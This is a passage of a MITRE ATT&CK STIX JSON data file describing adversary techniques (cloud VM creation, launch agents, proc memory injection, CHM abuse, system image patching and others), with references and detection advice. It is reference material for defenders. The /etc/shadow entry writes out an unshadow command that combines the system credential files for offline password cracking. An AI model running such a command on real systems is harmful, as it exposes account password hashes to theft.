Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Creation","Instance: Instance Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925","type":"attack-pattern","created":"2019-04-25T20:53:07.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1500","url":"https://attack.mitre.org/techniques/T1500"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"source_name":"TrendMicro WindowsAppMac","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/","description":"Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."}],"modified":"2020-03-16T15:38:37.650Z","name":"Compile After Delivery","description":"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Static File Analysis","Binary Analysis","Anti-virus","Host intrusion prevention systems","Signature-based detection"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Compiler software (either native to the system or delivered by the adversary)"]},{"x_mitre_platforms":["SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itamar Mizrahi, Cymptom","Toby Kohlenberg","Josh Liburdi, @jshlbrd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","type":"attack-pattern","created":"2021-05-11T18:51:16.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1213.003","url":"https://attack.mitre.org/techniques/T1213/003"},{"source_name":"Wired Uber Breach","url":"https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/","description":"Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021."},{"source_name":"Krebs Adobe","url":"https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/","description":"Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021."}],"modified":"2021-10-16T01:35:43.483Z","name":"Code Repositories","description":"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","created":"2020-03-02T14:27:00.693Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1565.002","url":"https://attack.mitre.org/techniques/T1565/002"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."},{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","modified":"2022-04-19T23:04:44.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Transmitted Data Manipulation","x_mitre_detection":"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: OS API Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Integrity"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","type":"attack-pattern","created":"2020-02-11T18:46:56.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/techniques/T1003/008","external_id":"T1003.008","source_name":"mitre-attack"},{"description":"The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.","url":"https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html","source_name":"Linux Password and Shadow File Formats"},{"description":"Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.","url":"https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/","source_name":"nixCraft - John the Ripper"}],"modified":"2020-03-20T15:56:55.022Z","name":"/etc/passwd and /etc/shadow","description":"Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid, process name, and arguments of such programs.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Antonio Piazza, @antman1p"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","created":"2020-01-17T16:10:58.592Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1543.001","url":"https://attack.mitre.org/techniques/T1543/001"},{"source_name":"AppleDocs Launch Agent Daemons","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."},{"source_name":"Sofacy Komplex Trojan","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."},{"source_name":"OceanLotus for OS X","url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."},{"source_name":"OSX Keydnap malware","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"OSX Malware Detection","url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."},{"source_name":"Antiquated Mac Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017."},{"source_name":"OSX.Dok Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ","modified":"2022-04-21T16:13:00.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Launch Agent","x_mitre_detection":"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code> folders are in alignment with enterprise policy. Ensure all Launch Agents with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment with policy. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Service: Service Creation","Service: Service Modification","File: File Creation","File: File Modification","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","type":"attack-pattern","created":"2020-03-10T18:23:06.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1569","url":"https://attack.mitre.org/techniques/T1569"}],"modified":"2022-03-22T17:29:46.189Z","name":"System Services","description":"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Service: Service Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM","root"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","type":"attack-pattern","created":"2020-03-09T14:12:31.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1059.003","url":"https://attack.mitre.org/techniques/T1059/003"},{"source_name":"SSH in Windows","url":"https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh","description":"Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021."}],"modified":"2021-07-26T17:13:07.345Z","name":"Windows Command Shell","description":"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","type":"attack-pattern","created":"2020-01-14T01:34:10.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.009","url":"https://attack.mitre.org/techniques/T1055/009"},{"url":"http://hick.org/code/skape/papers/needle.txt","description":"skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.","source_name":"Uninformed Needle"},{"source_name":"GDS Linux Injection","url":"https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html","description":"McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."},{"source_name":"DD Man","url":"http://man7.org/linux/man-pages/man1/dd.1.html","description":"Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."}],"modified":"2020-06-20T22:25:55.331Z","name":"Proc Memory","description":"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_defense_bypassed":["Application control","Anti-virus"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1223","url":"https://attack.mitre.org/techniques/T1223"},{"source_name":"Microsoft HTML Help May 2018","description":"Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"},{"source_name":"Microsoft HTML Help ActiveX","description":"Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms644670"},{"url":"https://msdn.microsoft.com/windows/desktop/ms524405","description":"Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.","source_name":"Microsoft HTML Help Executable Program"},{"url":"https://msitpros.com/?p=3909","description":"Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.","source_name":"MsitPros CHM Aug 2017"},{"url":"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625","description":"Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.","source_name":"Microsoft CVE-2017-8625 Aug 2017"}],"modified":"2020-01-31T18:59:00.845Z","name":"Compiled HTML File","description":"Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","type":"attack-pattern","created":"2020-10-19T19:49:24.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601.001","url":"https://attack.mitre.org/techniques/T1601/001"},{"source_name":"Killing the myth of Cisco IOS rootkits","url":"https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf","description":"Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."},{"source_name":"Killing IOS diversity myth","url":"https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf","description":"Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Shellcode","url":"http://2015.zeronights.org/assets/files/05-Nosenko.pdf","description":"George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Forensics Developments","url":"https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf","description":"Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."},{"source_name":"Juniper Netscreen of the Dead","url":"https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf","description":"Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:46.560Z","name":"Patch System Image","description":"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and 